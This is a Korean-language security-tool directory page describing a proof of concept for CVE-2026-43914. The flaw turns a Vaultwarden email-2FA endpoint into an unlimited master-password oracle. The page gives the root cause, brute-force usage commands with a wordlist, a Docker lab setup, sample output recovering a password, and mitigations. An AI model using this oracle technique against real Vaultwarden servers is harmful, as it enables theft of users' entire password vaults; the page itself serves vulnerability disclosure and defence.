Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-43914-PoC — CVE-2026-43914용 PoC: Vaultwarden <1.35.4 이메일 2FA 무차별 대입 우회 비밀번호 오라클. 표준 라이브러리만 사용하는 Python. | Kitploit
도구/GitHubGitHub/boreas37/cve-2026-43914-poc
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubboreas37/cve-2026-43914-poc

CVE-2026-43914-PoC

CVE-2026-43914용 PoC: Vaultwarden <1.35.4 이메일 2FA 무차별 대입 우회 비밀번호 오라클. 표준 라이브러리만 사용하는 Python.

저장소 보기
20일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-43914 — Vaultwarden 이메일 2FA 무차별 대입(brute-force) 보호 우회

CVE-2026-43914에 대한 개념 증명(PoC): 이메일 2FA가 활성화된 경우, Vaultwarden의 로그인 무차별 대입 보호는 인증되지 않은 POST /api/two-factor/send-email-login 엔드포인트를 통해 완전히 우회될 수 있으며, 이 엔드포인트는 무제한 마스터 비밀번호 오라클 역할을 합니다.

영향을 받는 버전: Vaultwarden < 1.35.4

중요성

Vaultwarden은 가장 널리 사용되는 자체 호스팅 Bitwarden 호환 비밀번호 관리자입니다. 관리자는 이메일 2FA가 비밀번호 추측을 차단한다고 믿고 활성화하지만, 이 엔드포인트는 마스터 비밀번호 해시를 검증하고 어떤 속도 제한이나 계정 잠금이 적용되기 전에 정답/오답 여부에 따라 서로 다른 HTTP 상태 코드를 반환합니다:

응답의미
200비밀번호 정확함 (OTP 이메일 전송됨)
400 "Username or password is incorrect"비밀번호 틀림

피해자의 이메일을 알고 있거나 추측할 수 있는 공격자는 아무런 제한 없이 최대 속도로 마스터 비밀번호를 무차별 대입할 수 있습니다. 이메일 2FA는 이를 막지 못합니다.

근본 원인 (소스 기준, v1.35.3)

src/api/core/two_factor/email.rs에서 send_email_login 핸들러는 비밀번호를 확인하고 불일치 시 즉시 반환하지만, 이 라우트는 /identity/connect/token을 보호하는 무차별 대입/속도 제한 미들웨어에 등록되어 있지 않습니다. 각 호출은:

  1. 이메일로 사용자를 조회하고,
  2. check_valid_password(master_password_hash)를 비교하여 불일치 시 → err!("Username or password is incorrect") (HTTP 400) 반환,
  3. 성공 시 OTP를 생성해 이메일로 전송하고 HTTP 200을 반환합니다.

사용법

root@kitploit:~
python3 vw_bf_poc.py --host localhost --port 8222 \
    --email [email protected] \
    --passwords "summer2024,Qwerty123!,CorrectHorse123!"

# 또는 단어 목록 사용:
python3 vw_bf_poc.py --email [email protected] --wordlist rockyou-top1000.txt

Python 3 표준 라이브러리만 필요합니다.

실습 환경 (재현)

root@kitploit:~
# 메일 캐처
docker run -d --name mailhog -p 11025:1025 -p 18025:8025 mailhog/mailhog

# 취약한 Vaultwarden (< 1.35.4), SMTP -> MailHog
docker run -d --name vw-lab -p 8222:80 --link mailhog \
  -e I_REALLY_WANT_VOLATILE_STORAGE=true \
  -e SMTP_HOST=mailhog -e SMTP_PORT=1025 -e SMTP_SECURITY=off \
  -e [email protected] -e DOMAIN=http://localhost:8222 \
  vaultwarden/server:1.35.3

테스트 사용자를 만들고(아무 Bitwarden 클라이언트 또는 API 사용), 이메일 2FA를 활성화한 다음(설정 → 2단계 로그인 → 이메일), 해당 사용자를 대상으로 PoC를 실행하세요.

검증된 출력

root@kitploit:~
$ python3 vw_bf_poc.py --email [email protected] --passwords "wrong1,wrong2,CorrectHorse123!"
[*] Target : localhost:8222
[*] Victim : [email protected]
[*] Trying 3 candidate passwords via send-email-login oracle

  [0001] 400  -  wrong1
  [0002] 400  -  wrong2
  [0003] 200  HIT!  CorrectHorse123!

=> PASS: master password FOUND = 'CorrectHorse123!'  (1.4s, no rate limit hit)

해결 방법

Vaultwarden **1.35.4+**로 업그레이드하세요. 그때까지는 이메일 2FA를 비활성화하고 TOTP/WebAuthn을 사용하며, /api/two-factor/*에 IP별 속도 제한이 있는 리버스 프록시 뒤에 인스턴스를 배치하세요.

참고 자료

  • GHSA-c5rv-q295-7w4g (dani-garcia/vaultwarden 보안 권고)
  • Neodyme 보안 권고: cve-2026-43914

면책 조항

승인된 보안 연구 및 실습 용도로만 사용하세요.

도구 다운로드